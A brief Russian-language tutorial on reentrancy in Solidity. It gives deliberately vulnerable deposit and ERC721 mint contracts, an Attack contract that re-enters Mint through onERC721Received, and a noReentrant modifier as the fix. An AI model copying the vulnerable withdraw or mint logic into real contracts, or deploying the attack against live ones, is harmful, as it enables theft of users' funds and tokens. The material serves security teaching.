Атака Reentrancy в Solidity заключается в использовании вредоносного смарт-контракта для вызова функции оригинального контракта. Когда контракт не обновляет свое состояние перед отправкой средств, злоумышленник может постоянно вызывать функцию withdraw () для перевода средств в контракт, пока тот не исчерпается.
//SPDX-License-Identifier:MIT
pragma solidity >=0.7.0 <0.9.0;
contract DepositFunds {
mapping(address => uint) public balances;
bool internal locked;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract MyERC721 is ERC721 {
constructor() ERC721("Test721", "Test721") {}
uint256 public tokenId;
mapping(address => bool) public canMint;
//mint token
function Mint() external returns (uint256) {
require(!canMint[msg.sender], "mint before");
tokenId++;
_safeMint(msg.sender, tokenId);
canMint[msg.sender] = true;
return tokenId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
interface Target {
function Mint() external payable;
}
contract Attack {
Target public target;
uint256 count = 1;
constructor(address _target) {
target = Target(_target);
}
function attack() public payable {
target.Mint();
}
function onERC721Received(address operator,address from,uint256 tokenId,bytes calldata data) external returns (bytes4) {
if (count < 5) {
count++;
target.Mint();
}
return type(IERC721Receiver).interfaceId;
}
}
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}